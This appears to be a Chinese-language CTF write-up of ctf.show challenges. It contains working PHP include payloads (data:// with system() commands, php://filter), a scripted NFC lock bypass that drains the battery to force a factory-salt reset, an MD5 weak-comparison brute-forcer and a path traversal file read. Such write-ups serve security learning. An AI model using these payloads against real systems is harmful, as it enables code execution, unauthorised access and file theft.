热身签到

分类:CTF部分 | 分值:100

题目描述
元旦时,我二舅姥爷给我出的密码题

54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568
  • 我的解法
    • 注意$1后面有空格

alt text

  • zs1994:

每两位 1 组分隔, 发现每个两位数都落在 48~70 的区间
例如: 54 51 55 52 …
正好是 ASCII 里的可打印字符范围

  • 官方:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-


c='''54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568'''
def dec_block(block4: str) -> str:
if len(block4) != 4 or not block4.isdigit():
raise ValueError(f"Bad block: {block4!r}")
x = int(block4[:2]) # 52
y = int(block4[2:]) # 49
a = chr(x)
c = chr(y)
if a not in "0123456789ABCDEF" or c not in "0123456789ABCDEF":
raise ValueError(f"Bad hex nibble chars from block {block4!r}: {a!r}{c!r}")
b = int(a + c, 16)
if not (0x20 <= b <= 0x7E):
# 检查 b 是否在可打印 ASCII 范围内(0x20 是空格,0x7E 是波浪号‘~’)
raise ValueError(f"Decoded to non-printable ASCII: {b}")
return chr(b)

def dec(cipher: str) -> str:
if len(cipher) % 4 != 0:
raise ValueError("Cipher length must be multiple of 4.")
out = []
for i in range(0, len(cipher), 4):
out.append(dec_block(cipher[i:i+4]))
return "".join(out)

if __name__ == "__main__":
p = dec(c)
print(p)

  • 其实感觉cyberchef能解决的也不咋用存脚本(?

HappySong

  • 手打
  • 我只能说以后碰到这种题目就把这个脚本扔ai当参考了。。除非后面深造编程可以学一下
  • 官方脚本:
#!/usr/bin/env python3
# Copyright (c) 2025 CTF.SHOW (ctf.show) - https://ctf.show
# Author: h1xa

import argparse
import wave
import numpy as np

SAMPLE_RATE = 44100
BIT_DURATION = 0.12
HIT_DURATION = 0.045
GAP_BETWEEN_BYTES = 0.09

FREQ_ONE = 180.0
FREQ_ZERO = 900.0

PREAMBLE_BITS = [1, 0] * 4
PREAMBLE_SILENCE = 0.25

def read_wav_mono_16bit(path: str):
with wave.open(path, "rb") as wf:
ch = wf.getnchannels()
sw = wf.getsampwidth()
sr = wf.getframerate()
n = wf.getnframes()
if sw != 2:
raise RuntimeError(f"unsupported sampwidth={sw}, expected 16-bit PCM")
if sr != SAMPLE_RATE:
raise RuntimeError(f"unexpected sample_rate={sr}, expected {SAMPLE_RATE}")
raw = wf.readframes(n)

x = np.frombuffer(raw, dtype=np.int16).astype(np.float32) / 32768.0

if ch == 1:
return x
if ch == 2:
x = x.reshape(-1, 2)
return (x[:, 0] + x[:, 1]) * 0.5
raise RuntimeError(f"unsupported channels={ch}")

def goertzel_power(x: np.ndarray, sr: int, freq: float) -> float:
n = len(x)
if n <= 0:
return 0.0
k = int(0.5 + (n * freq) / sr)
w = (2.0 * np.pi * k) / n
cosw = np.cos(w)
sinw = np.sin(w)
coeff = 2.0 * cosw

s0 = 0.0
s1 = 0.0
s2 = 0.0
for v in x:
s0 = v + coeff * s1 - s2
s2 = s1
s1 = s0

real = s1 - s2 * cosw
imag = s2 * sinw
return real * real + imag * imag

def classify_bit(sig: np.ndarray) -> int:
p1 = goertzel_power(sig, SAMPLE_RATE, FREQ_ONE)
p0 = goertzel_power(sig, SAMPLE_RATE, FREQ_ZERO)
return 1 if p1 > p0 else 0

def decode_at(x: np.ndarray, start_sample: int, nbits: int):
bit_samps = int(round(BIT_DURATION * SAMPLE_RATE))
hit_samps = int(round(HIT_DURATION * SAMPLE_RATE))

out = []
for i in range(nbits):
s = start_sample + i * bit_samps
e = s + hit_samps
if e > len(x):
return None
seg = x[s:e]
out.append(classify_bit(seg))
return out

def find_preamble_offset(x: np.ndarray):
bit_samps = int(round(BIT_DURATION * SAMPLE_RATE))
hit_samps = int(round(HIT_DURATION * SAMPLE_RATE))
step = max(1, bit_samps // 10)
best = (None, -1)
max_start = len(x) - (len(PREAMBLE_BITS) * bit_samps + hit_samps)
if max_start <= 0:
raise RuntimeError("wav too short")

for off in range(0, max_start, step):
bits = decode_at(x, off, len(PREAMBLE_BITS))
if bits is None:
continue
score = sum(1 for a, b in zip(bits, PREAMBLE_BITS) if a == b)
if score > best[1]:
best = (off, score)
if score == len(PREAMBLE_BITS):
break

if best[0] is None or best[1] < len(PREAMBLE_BITS) - 1:
raise RuntimeError(f"preamble not found (best_score={best[1]})")
return best[0], best[1]

def bits_to_bytes(bits):
out = bytearray()
for i in range(0, len(bits), 8):
b = 0
chunk = bits[i:i+8]
if len(chunk) < 8:
break
for v in chunk:
b = (b << 1) | (v & 1)
out.append(b)
return bytes(out)

def main():
ap = argparse.ArgumentParser()
ap.add_argument("wav", nargs="?", default="drum_bits.wav", help="input wav (default: drum_bits.wav)")
args = ap.parse_args()
x = read_wav_mono_16bit(args.wav)
bit_samps = int(round(BIT_DURATION * SAMPLE_RATE))
gap_byte_samps = int(round(GAP_BETWEEN_BYTES * SAMPLE_RATE))
pre_sil_samps = int(round(PREAMBLE_SILENCE * SAMPLE_RATE))
off, score = find_preamble_offset(x)
payload_start = off + len(PREAMBLE_BITS) * bit_samps + pre_sil_samps
bits = []
pos = payload_start
while True:
chunk = decode_at(x, pos, 8)
if chunk is None:
break
bits.extend(chunk)
pos += 8 * bit_samps + gap_byte_samps
data = bits_to_bytes(bits)
try:
text = data.decode("ascii", errors="strict")
except Exception:
text = data.decode("ascii", errors="ignore")

text = text.split("\x00")[0].strip()

print(f"[+] preamble_offset={off} samples, score={score}/{len(PREAMBLE_BITS)}")
print(f"[+] decoded_bytes={len(data)}")
print(text)

if __name__ == "__main__":
main()

Happy2026

分类:CTF部分 | 分值:100

题目描述
奇怪的2026

<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}

绕过 if 条件判断,利用 include 函数执行任意代码。

$year == 2026 && $year !== 2026 && is_numeric($year)

这里利用了 PHP 的类型比较特性:

  • $year == 2026:这是一个弱类型比较。如果 $year 是字符串 '2026',PHP 会将其转换为数字进行比较,结果为 true
  • $year !== 2026:这是一个强类型比较(全等比较)。它要求值和类型都相等。如果 $year 是字符串 '2026',而右边是整数 2026,类型不同,结果为 true(即不全等)。
  • is_numeric($year):检测变量是否为数字或数字字符串。字符串 '2026' 满足此条件。

结论:我们需要传入 year=2026(字符串形式),即可同时满足这三个条件。

满足条件后,代码执行:

include $happy[$new[$year]];

这里涉及到数组的嵌套引用。我们已知 $year 的值为 '2026',所以代码实际上执行的是:

include $happy[$new['2026']];

我们需要通过 GET 参数构造 $new$happy 数组:

  • 我们需要构造 $new 数组,使得 $new['2026'] 有一个具体的值,假设为 '0'。即 ?new[2026]=0
  • 此时代码变为 include $happy['0'];
  • 我们需要构造 $happy 数组,使得 $happy['0'] 包含我们要执行的恶意 Payload。即 ?happy[0]=Payload

include 函数通常用于包含文件,但配合 PHP 伪协议(Wrapper),我们可以执行任意代码。

常用的 Payload 形式是利用 data:// 协议:

data://text/plain,<?php system('命令'); ?>

将这个 Payload 赋值给 $happy['0'],最终构成的执行语句就是:

include "data://text/plain,<?php system('命令'); ?>";

这会直接执行 PHP 代码。

  • ai
  • 在 PHP 伪协议 data:// 的用法中,textplain 分别代表了数据的 MIME 类型(MIME Type)
  • text:表明该资源是文本性质的,而不是图像、视频或二进制程序。
  • 子类表示数据的具体格式plain 表明它是纯文本
    • 如果是 text/html,浏览器会将其解析为网页。
    • 如果是 text/plain,则视为没有任何格式标签的普通文字。
  • 这个构造中,虽然我们写入的是 PHP 代码,但为了让 PHP 解释器能够通过伪协议顺利读取这些“字符”,我们通常声明它为纯文本。
  • 当 PHP 的文件包含函数(如 include()require())处理这个协议时,它会:发现是 data://,无视 MIME 类型的限制,直接提取逗号 , 之后的内容当作 PHP 脚本进行解析并执行
  • 常见的变体:为了绕过 WAF(防火墙)对关键词的拦截
形式 结构
明文形式 data://text/plain,<?php phpinfo();?>
Base64形式 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

注意:使用此类 Payload 的前提是服务器配置中 allow_url_fopenallow_url_include 均已开启(均为 On)。

综上所述,我们需要通过 GET 请求传递以下参数:

  1. year=2026
  2. new[2026]=0
  3. happy[0]=data://text/plain,<?php system('cat flag.php'); ?>
?year=2026&new[2026]=0&happy[0]=data://text/plain,<?php system('ls -al'); ?>

alt text

alt text

  • ai
    你在 Hackbar 中执行 cat flag.php 看不到回显,是因为 flag.php 里的内容是 PHP 代码(如 <?php $flag=… )。浏览器会把它当成无效的 HTML 标签隐藏起来,或者 PHP 会尝试执行它而不是显示它。
    在 Payload 中使用 Base64 编码来读取文件内容,这样浏览器就能显示编码后的字符串了。

修改后的 Payload:

?year=2026&new[2026]=0&happy[0]=data://text/plain,<?php system('cat flag.php | base64'); ?>

alt text
ctfshow{b775436b-81ba-4295-a317-3bbdf7544dfb}

  • 官方:
import requests

url = "http://b1e05aa7-0493-4c4f-bbde-0fcd20409e47.challenge.ctf.show/"

payload = "?happy[2026.0000000000001]=data:,<?php echo `tac f*`;?>&new[2026.0000000000001]=2026.0000000000001&year=2026.0000000000001&new[2026]=2026"

response = requests.get(url=url+payload)
if "ctfshow" in response.text:
flag = response.text[response.text.find("ctfshow"):]
print(flag)
  • 复现遇到证书问题:
    • response = requests.get(url=url+payload, verify=False)
    • 加上 verify=False 就好了

alt text

  • 嘶好奇怪官方的加了base64编码不仅回显了还是正常显示而不是base64显示

alt text

  • 其实是我自己瞎改改坏了要写在``里面啊不然就是和base64按位与输出了

更适配的方法

  • 大佬:
/?year=2026&new[2026]=a&happy[a]=php://filter/read=convert.base64-encode/resource=flag.php
# 再url编码(这个是反推出来的
特性 写法 A: php://filter 写法 B: data://
核心原理 将已有的文件内容“流经”过滤器处理 将用户输入的字符串当作 PHP 代码执行
利用场景 读取服务器上 存在 的文件源码 直接执行 任意系统命令
Payload 示例 .../resource=flag.php ...,<?php system('ls'); ?>
依赖配置 无特殊要求 (默认开启) allow_url_include = On
  • 所以这个方法更适配该题目

happyEmoji

分类:CTF部分 | 分值:300

题目描述
这天小狐狸和一个很好看的姑娘成了好朋友,他很开心。于是他用她发给他的表情写了一段话,分享给更多的朋友,现在大家都开心了。 1. 每一串是一个字母 2. 有眼睛就能做

  • 官方脚本:
import PIL.Image as Image , numpy as np ,libnum,base64
gif = Image.open('./flag.gif')
dh,dw ,dfh,binstr = gif.height//6,gif.width//30 ,42,''
for p in range(4): #一共四页
gif.seek(p*31+1) #31张一轮
gif_np=np.array(gif)[:,:,0]
for r in range(6):#6行
for c in range(30): #30列
for f in range(4): # 每串4个球
face =(255-gif_np[r*dh+f*dfh :r*dh+f*dfh+dfh,c*dw:c*dw+dw]).sum()/1000
if face >=33: binstr+='00'
elif face >=30 : binstr+='01'
elif face >=26 :binstr+='10'
else: binstr+='11'
print(base64.b64decode(libnum.b2s(binstr).decode()).decode())

alt text

SafePIN

分类:CTF部分 | 分值:200

题目描述
绝对安全的身份认证系统

  • 官方脚本改了下(解决证书问题
#!/usr/bin/env python3
# CTF.SHOW / ctf.show
# Author: h1xa
# https://ctf.show

import sys, math, hashlib, struct, wave, time
from typing import Dict, List, Tuple

import numpy as np
import requests

SR = 44100
SOUND_CANCEL = 10
SOUND_ENTER = 11

def prng_u32(seed: str, tag: str) -> int:
h = hashlib.sha256((seed + "|" + tag).encode("utf-8")).digest()
return struct.unpack("<I", h[:4])[0]

def permute_0_9(seed: str) -> List[int]:
a = list(range(10))
x = prng_u32(seed, "perm")
for i in range(9, 0, -1):
x = (x * 1664525 + 1013904223) & 0xffffffff
j = x % (i + 1)
a[i], a[j] = a[j], a[i]
return a

def clamp(x: float, lo: float, hi: float) -> float:
return lo if x < lo else hi if x > hi else x

def gen_key_sound(seed: str, sid: int) -> np.ndarray:
x = prng_u32(seed, f"p{sid}")
base = 1050.0 + sid * 23.0 + (((x & 0xff) - 128) * 0.35)
dur = 0.082 + (((x >> 8) & 0xff) / 255.0) * 0.018
pre = 0.0018 + (((x >> 16) & 0xff) / 255.0) * 0.0045
atk = 0.0012 + (((x >> 24) & 0xff) / 255.0) * 0.0022
click= 0.16 + ((x & 0xff) / 255.0) * 0.10
pan = clamp(((sid - 4.5) / 14.0) + ((((x >> 8) & 0xff) - 128) / 128.0) * 0.03, -0.35, 0.35)

left_gain = clamp(1.0 - pan, 0.70, 1.30)
right_gain = clamp(1.0 + pan, 0.70, 1.30)

total = int(round((pre + dur) * SR))
t = np.arange(total, dtype=np.float32) / SR

sig = np.zeros(total, dtype=np.float32)
mask = t >= pre
tt = t[mask] - pre

k_decay = 18.0 + sid * 0.65
f1 = base
f2 = base * (1.0 + (sid - 5) * 0.00032)
tone = np.sin(2.0 * math.pi * f1 * tt) * 0.70 + np.sin(2.0 * math.pi * f2 * tt) * 0.30

atk_safe = max(atk, 1e-6)
env = np.empty_like(tt)
m = tt < atk_safe
env[m] = tt[m] / atk_safe
env[~m] = np.exp(-k_decay * (tt[~m] - atk_safe))
env = np.clip(env, 0.0, 1.0)

c = np.zeros_like(tt)
cm = tt < 0.006
if np.any(cm):
ttc = tt[cm]
phase = (sid + 1) * 0.9
pulse = np.sin(2.0 * math.pi * (2500.0 + sid * 37.0) * ttc + phase)
noise = (np.sin(2.0 * math.pi * (9000.0 + sid * 11.0) * ttc) +
np.sin(2.0 * math.pi * (12000.0 + sid * 13.0) * ttc)) * 0.5
c[cm] = (0.62 * pulse + 0.38 * noise) * (1.0 - ttc / 0.006)

sig[mask] = (tone * env + c * click) * 0.85
l = np.clip(sig * left_gain, -1.0, 1.0)
r = np.clip(sig * right_gain, -1.0, 1.0)
mono = (l + r) * 0.5
return np.clip(mono * 0.85, -1.0, 1.0).astype(np.float32)

def read_wav_mono(path: str) -> np.ndarray:
with wave.open(path, "rb") as wf:
ch = wf.getnchannels()
sw = wf.getsampwidth()
sr = wf.getframerate()
n = wf.getnframes()
raw = wf.readframes(n)
if sr != SR or sw != 2:
raise RuntimeError("unexpected wav format")
x = np.frombuffer(raw, dtype=np.int16).astype(np.float32) / 32768.0
if ch == 2:
x = x.reshape(-1, 2).mean(axis=1)
return x

def rms_env(x: np.ndarray, win: int) -> np.ndarray:
pad = win // 2
xp = np.pad(x, (pad, pad), mode="constant")
w = np.lib.stride_tricks.as_strided(
xp, shape=(x.size, win), strides=(xp.strides[0], xp.strides[0])
)
return np.sqrt(np.mean(w * w, axis=1) + 1e-12)

def segment(env: np.ndarray) -> List[Tuple[int, int]]:
bg = np.quantile(env, 0.60)
hi = np.quantile(env, 0.98)
thr = max(bg * 2.8, (bg + hi) * 0.25)
idx = np.flatnonzero(env > thr)
if idx.size == 0:
return []
gap = int(0.030 * SR)
starts = [int(idx[0])]
ends = []
prev = int(idx[0])
for v in idx[1:]:
v = int(v)
if v - prev > gap:
ends.append(prev)
starts.append(v)
prev = v
ends.append(prev)

pad = int(0.010 * SR)
min_len = int(0.030 * SR)
segs = []
for s, e in zip(starts, ends):
s2 = max(0, s - pad)
e2 = min(env.size - 1, e + pad)
if (e2 - s2 + 1) >= min_len:
segs.append((s2, e2 + 1))
return segs

def best_sid(seed: str, clip: np.ndarray, templates: Dict[int, np.ndarray]) -> int:
clip = clip - clip.mean()
clip = clip / (np.max(np.abs(clip)) + 1e-12)
max_shift = int(0.012 * SR)

best, best_sc = -1, -1e9
for sid, tmpl in templates.items():
t = tmpl - tmpl.mean()
t = t / (np.max(np.abs(t)) + 1e-12)

a = clip.astype(np.float32)
b = t.astype(np.float32)
a = a / (np.linalg.norm(a) + 1e-12)
b = b / (np.linalg.norm(b) + 1e-12)

if a.size < b.size:
short, long = a, b
else:
short, long = b, a

m = short.size
n = long.size
if n == m:
sc = float(np.dot(short, long))
else:
center = (n - m) // 2
st = max(0, center - max_shift)
ed = min(n - m, center + max_shift)
sc = -1.0
for off in range(st, ed + 1):
v = float(np.dot(short, long[off:off + m]))
if v > sc:
sc = v

if sc > best_sc:
best_sc, best = sc, sid
return best

def decode_attempts(ids: List[int]) -> List[List[int]]:
attempts: List[List[int]] = []
cur: List[int] = []

def flush():
if cur:
attempts.append(cur[:])

for sid in ids:
if sid == SOUND_CANCEL:
flush()
cur.clear()
continue
if sid == SOUND_ENTER:
flush()
cur.clear()
continue
if 0 <= sid <= 9:
cur.append(sid)

flush()
attempts = [a for a in attempts if len(a) >= 4]
return attempts

def pick6(digits: List[int]) -> str:
s = "".join(str(x) for x in digits)
if len(s) >= 6:
return s[:6]
return s

def solve_two_pins(seed: str, wav_path: str) -> Tuple[str, str]:
x = read_wav_mono(wav_path)
env = rms_env(x, win=int(0.004 * SR))
segs = segment(env)
if not segs:
raise RuntimeError("no segments")

templates = {sid: gen_key_sound(seed, sid) for sid in range(12)}
ids = [best_sid(seed, x[s:e], templates) for s, e in segs]

raw_attempts = decode_attempts(ids)
if not raw_attempts:
raise RuntimeError(f"no attempts ids={ids}")
raw = max(raw_attempts, key=len)

a = permute_0_9(seed)

sid2d = {a[d]: d for d in range(10)}
d1 = [sid2d.get(sid, 0) for sid in raw]
pin1 = pick6(d1)

d2 = [a[sid] for sid in raw if 0 <= sid <= 9]
pin2 = pick6(d2)

return pin1, pin2

def submit(s: requests.Session, base: str, pin: str) -> dict:
for _ in range(6):
r = s.post(base + "/check.php", json={"pin": pin}, timeout=10)
try:
j = r.json()
except Exception:
j = {"ok": False}
if r.status_code != 429:
return {"status": r.status_code, "json": j}
ra = int(j.get("retry_after") or j.get("cd") or 1)
time.sleep(max(1, ra))
return {"status": 429, "json": {"ok": False}}

def main():
if len(sys.argv) != 2:
print("Usage: python exp.py <base_url>")
sys.exit(2)

base = sys.argv[1].rstrip("/")
s = requests.Session()

j = s.get(base + "/seed.php", timeout=10).json()
seed = str(j["seed"])
rec_url = j["record_url"]
full = rec_url if rec_url.startswith("http") else base + rec_url

wav = s.get(full, timeout=20).content
path = "record.wav"
with open(path, "wb") as f:
f.write(wav)

pin1, pin2 = solve_two_pins(seed, path)
print("[*] seed =", seed)
print("[+] PIN1 =", pin1)
print("[+] PIN2 =", pin2)

r1 = submit(s, base, pin1)
print("[*] submit PIN1:", r1)
if isinstance(r1.get("json"), dict) and r1["json"].get("ok"):
print("[+] FLAG:", r1["json"].get("flag"))
return

r2 = submit(s, base, pin2)
print("[*] submit PIN2:", r2)
if isinstance(r2.get("json"), dict) and r2["json"].get("ok"):
print("[+] FLAG:", r2["json"].get("flag"))
return

if __name__ == "__main__":
main()
  • 。。。真没招了我是菜狗
    alt text

SafeLock

分类:CTF部分 | 分值:200

题目描述
绝对安全的智能锁,没有卡片开不了的

alt text

alt text

  • BOOT 锁联网上线
  • 开始初始化
  • 使用出厂密钥和默认salt为123456 设置管理员卡
  • 使用一次后就过期
  • SALT更新为随机8位数字
  • 主要攻击线路:
    • 拉闸->迫使锁用电池->每次验证掉5%的电->电池掉光电->锁完全进入离线状态->恢复供电->开始初始化salt为123456->给自己刷管理员卡->开门禁系统
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTFSHOW CS2026 - NFC Smart Lock (Official Full Auto Solve)
Author: h1xa

Full flow (stable):
1) GET /api/challenge -> nonce
2) POST /api/power mains_on=false (cut mains, switch to battery)
3) POST /api/verify wrong card 20 times (drain battery to 0, device offline)
4) POST /api/power mains_on=true (restore mains, triggers FACTORY_RESET_OK, nonce rotates)
5) GET /api/challenge -> new nonce
6) Compute correct sig with salt=123456 and POST /api/verify -> print flag
"""

from __future__ import annotations

import argparse
import sys
import time
from typing import Any, Dict

import requests
import certifi

DEVICE_ID = "LOCK-X36D"
FACTORY_SALT = "123456"
ROLE = "admin"
DRAIN_PER_SWIPE = 5
DRAIN_TIMES = 100 // DRAIN_PER_SWIPE # 20


def crc16_ccitt_false(data: bytes) -> int:
crc = 0xFFFF
for b in data:
crc ^= (b << 8)
for _ in range(8):
if crc & 0x8000:
crc = ((crc << 1) ^ 0x1021) & 0xFFFF
else:
crc = (crc << 1) & 0xFFFF
return crc & 0xFFFF


def calc_sig(device_id: str, nonce: str, salt: str, role: str) -> str:
msg = f"{device_id}|{nonce}|{salt}|{role}".encode("utf-8")
return f"{crc16_ccitt_false(msg):04X}"


def session_no_proxy() -> requests.Session:
s = requests.Session()
s.trust_env = False
s.proxies = {"http": None, "https": None}
s.verify = False # 我加的用来避免证书问题
return s


def get_json(s: requests.Session, url: str, **kw) -> Dict[str, Any]:
r = s.get(url, timeout=10, **kw)
r.raise_for_status()
return r.json()


def post_json(s: requests.Session, url: str, payload: Dict[str, Any]) -> Dict[str, Any]:
r = s.post(url, json=payload, timeout=10)
try:
data = r.json()
except Exception:
raise RuntimeError(f"Bad JSON response (HTTP {r.status_code}): {r.text[:200]}")
return data, r.status_code


def api_challenge(base: str, s: requests.Session) -> Dict[str, Any]:
return get_json(s, base.rstrip("/") + "/api/challenge")


def api_power(base: str, s: requests.Session, mains_on: bool) -> Dict[str, Any]:
data, code = post_json(s, base.rstrip("/") + "/api/power", {"mains_on": mains_on})
if code >= 400 or not data.get("ok"):
raise RuntimeError(f"/api/power failed: HTTP {code}, body={data}")
return data


def api_verify(base: str, s: requests.Session, card_payload: Dict[str, Any], lock_nonce: str) -> Dict[str, Any]:
data, code = post_json(
s,
base.rstrip("/") + "/api/verify",
{"card_payload": card_payload, "lock_nonce": lock_nonce},
)
data["_http"] = code
return data


def pick_nonce(ch: Dict[str, Any]) -> str:
st = ch.get("state") or {}
nonce = st.get("nonce") or ch.get("nonce")
if not nonce:
raise RuntimeError("nonce missing in /api/challenge response")
return str(nonce)


def main() -> int:
ap = argparse.ArgumentParser(description="CTFSHOW NFC smart lock full auto solve")
ap.add_argument("--base", default="http://127.0.0.1:5000", help="Challenge base URL")
ap.add_argument("--sleep", type=float, default=0.0, help="sleep between drain swipes (seconds)")
ap.add_argument("--verbose", action="store_true", help="print progress and server events")
args = ap.parse_args()

s = session_no_proxy()
base = args.base

def vprint(*a):
if args.verbose:
print(*a, file=sys.stderr)

ch1 = api_challenge(base, s)
nonce1 = pick_nonce(ch1)
vprint(f"[*] nonce (initial): {nonce1}")

p1 = api_power(base, s, mains_on=False)
vprint("[*] power off events:", p1.get("events", []))
st = p1.get("state") or {}
vprint(f"[*] state after power off: mains_on={st.get('mains_on')} battery={st.get('battery')} powered={st.get('powered')}")


wrong_card = {
"device_id": DEVICE_ID,
"nonce": nonce1,
"sig": "0000",
"role": ROLE
}

offline_reached = False
for i in range(1, DRAIN_TIMES + 1):
res = api_verify(base, s, wrong_card, lock_nonce=nonce1)

st = res.get("state") or {}
reason = res.get("reason")
events = res.get("events", [])
vprint(f"[*] drain {i:02d}/{DRAIN_TIMES}: http={res.get('_http')} battery={st.get('battery')} powered={st.get('powered')} reason={reason} events={events}")

if reason == "OFFLINE" or st.get("powered") is False:
offline_reached = True
break

if args.sleep > 0:
time.sleep(args.sleep)

if not offline_reached:
vprint("[!] battery drain loop finished but device not offline yet; continuing anyway...")


p2 = api_power(base, s, mains_on=True)
vprint("[*] power on events:", p2.get("events", []))
st2 = p2.get("state") or {}
vprint(f"[*] state after power on: mains_on={st2.get('mains_on')} battery={st2.get('battery')} powered={st2.get('powered')} factory_mode={st2.get('factory_mode')} nonce={st2.get('nonce')}")


ch2 = api_challenge(base, s)
nonce2 = pick_nonce(ch2)
vprint(f"[*] nonce (after reset): {nonce2}")


sig = calc_sig(DEVICE_ID, nonce2, FACTORY_SALT, ROLE)
card = {"device_id": DEVICE_ID, "nonce": nonce2, "sig": sig, "role": ROLE}
vprint("[*] computed sig:", sig)


final = api_verify(base, s, card, lock_nonce=nonce2)
if final.get("ok") and final.get("flag"):
print(final["flag"])
return 0

print(f"[!] unlock failed: {final}", file=sys.stderr)
return 2


if __name__ == "__main__":
raise SystemExit(main())

alt text

  • 看不懂啊抓包抓了半天也看不懂怎么分析的。。。

SafePassword

分类:CTF部分 | 分值:100

题目描述

  1. 根据情报,J国近年来对我国进行了持续的渗透攻击,我方技术人员经过溯源,发现某个可疑网址。 2. 该网址疑似为J国的情报组织任务分配中心,但是我方并没有拿到登陆口令,无法继续深入。 3. 已经确认嫌疑账号用户名为jcenter,此人2025年加入该组织,登陆口令未知。
$accessKey = $_POST['access_key'] ?? '';
$channelKey = $_POST['channel_key'] ?? '';
$expected = getExpectedHash($channelKey);

if (md5($accessKey) == $expected) { // 关键点:弱类型比较 ==
$_SESSION['authed'] = true;
// ...
}

这里使用了 == 进行比较。在 PHP 中,如果一个字符串和一个整数进行比较,字符串会被尝试转换为数字。如果 md5($accessKey) 计算出的哈希值字符串以数字开头,PHP 会提取开头的数字部分与 $expected 进行比较。

function getExpectedHash($channelKey)
{
try {
return buildExpectedHash($channelKey);
} catch (Throwable $e) {
return pickErrorCode($e);
}
}
function buildExpectedHash($channelKey): string
{
try{
// 如果长度小于 64,正常生成 hash
if (!preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $channelKey) && strlen($channelKey) < 64) {
return md5('ctfshow:' . $channelKey . ':verify' . $secret_salt);
}else{
// 如果长度 >= 64,抛出 LENGTH_ERROR
throw new RuntimeException('', LENGTH_ERROR);
}
}catch(Throwable $e){
// 捕获异常(包括上面的 LENGTH_ERROR),重新抛出 VERIFY_FAILED
throw new RuntimeException('', VERIFY_FAILED);
}
}

关键逻辑链:

  1. 如果我们传入的 channel_key 长度 大于等于 64buildExpectedHash 会进入 else 分支,抛出 LENGTH_ERROR
  2. 该异常立即被同一个函数内的 catch 块捕获。
  3. catch 块抛出一个新的异常,错误码为 VERIFY_FAILED
  4. 根据 [index.php:13](file:///a:/traeworkingplace/index.php#L13),const VERIFY_FAILED = 2025;

接着,异常回到 getExpectedHashcatch 块,调用 pickErrorCode

function pickErrorCode(Throwable $e): int
{
$code = (int)$e->getCode(); // 获取到 2025
if (inErrorCodes($code)) { // 2025 在 ERROR_CODES 列表中
return $code;
}
// ...
}

结论:
只要 channel_key 的长度超过 64 个字符,getExpectedHash($channelKey) 就会返回整数 2025

3. 漏洞利用 (Exploit)

此时验证逻辑变为:

if (md5($accessKey) == 2025) { ... }

因此,我们需要爆破一个字符串,其 MD5 值满足正则 ^2025[a-f]...

import hashlib
import string
import itertools
import time

def get_md5_hash(text):
"""计算字符串的MD5哈希值"""
md5_hash = hashlib.md5()
md5_hash.update(text.encode('utf-8'))
return md5_hash.hexdigest()

def check_pattern(md5_hash):
"""检查MD5值是否符合模式:2025开头,后面一位是字母"""
if len(md5_hash) < 5:
return False

# 检查是否以"2025"开头
if not md5_hash.startswith('2025'):
return False

# 检查第5位是否是字母(a-z或A-Z)
fifth_char = md5_hash[4]
return fifth_char.isalpha()

def generate_and_check(length=1, charset=None):
"""生成指定长度的字符串并检查其MD5值"""
if charset is None:
charset = string.ascii_letters + string.digits

found_count = 0
total_checked = 0

print(f"开始检查长度为 {length} 的字符串...")

start_time = time.time()

# 生成所有可能的组合
for combo in itertools.product(charset, repeat=length):
text = ''.join(combo)
md5_hash = get_md5_hash(text)
total_checked += 1

if check_pattern(md5_hash):
found_count += 1
print(f"\n🎯 找到匹配的值!")
print(f"原文: {text}")
print(f"MD5: {md5_hash}")
print(f"位置: 第{total_checked}个尝试")
print(f"用时: {time.time() - start_time:.2f}秒")
return True, text, md5_hash

# 每10000次检查显示一次进度
if total_checked % 10000 == 0:
elapsed_time = time.time() - start_time
print(f"已检查: {total_checked}, 找到: {found_count}, 用时: {elapsed_time:.2f}秒")

return False, None, None

def main():
print("🔍 MD5值搜索工具")
print("搜索模式: MD5值以'2025'开头,第5位是字母")
print("-" * 50)

# 定义字符集 - 先尝试简单的情况
charsets = [
string.digits, # 先尝试数字
string.ascii_lowercase, # 再尝试小写字母
string.ascii_uppercase, # 然后大写字母
string.ascii_letters + string.digits, # 最后字母+数字
]

charset_names = ["数字", "小写字母", "大写字母", "字母+数字"]

for charset, name in zip(charsets, charset_names):
print(f"\n📋 正在尝试字符集: {name}")

# 尝试不同长度的字符串
for length in range(1, 5): # 从长度1到4
print(f"尝试长度 {length}...")
found, text, md5_hash = generate_and_check(length, charset)

if found:
print(f"\n✅ 成功找到匹配值!")
print(f"📝 原文: {text}")
print(f"🔐 MD5: {md5_hash}")
return

print("\n❌ 在尝试的范围内未找到匹配值")
print("💡 建议: 可以尝试更长的字符串或包含特殊字符")

if __name__ == "__main__":
main()

alt text

访问密钥nhll
保留码长度超过 64 位的字符,用于触发后端的长度异常:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  • 保留码 输入超长字符串,迫使服务器抛出异常并返回固定的错误码 2025 。
  • 访问密钥 输入 434048 ,其 MD5 值以 2025 开头,利用 PHP 的弱类型比较( == )使验证成功。

alt text

ctfshow{9e20d8bc-58b4-4957-b204-d31db1ace052}

AWDP攻击题目

  • 暂时只看我比赛尝试过的

SafeViewer

分类:AWDP攻击题目 | 分值:100

题目描述
SafeViewer SafeRender SafeAdmin 共同使用本题的环境

这3个题目的flag前面 都会有明显的说明 是哪个题目的flag

环境变量中flag是占位,和题目无关

原理:
利用了后端服务 render 存在的 Directory Traversal (目录遍历) 漏洞。
漏洞点位于 app.py_safe_join 函数,它没有正确过滤路径中的 ../,导致攻击者可以访问服务器上的任意文件。

alt text
* 该接口对应后端 app.py 中的 internal_file 函数。

  1. 构造 Payload
    • 我们想要读取后端源代码 /app/app.py
    • 正常请求:path=/app (如果允许) 或 path=templates
    • 恶意请求:利用 ../ 跳转到根目录,再访问 /app/app.py
    • URL: https://<URL>/api/v1/artifacts?path=/app&filename=app.py
    • 注意:这里其实直接使用了绝对路径 /app,因为 _safe_join 只是简单拼接,如果 path/ 开头
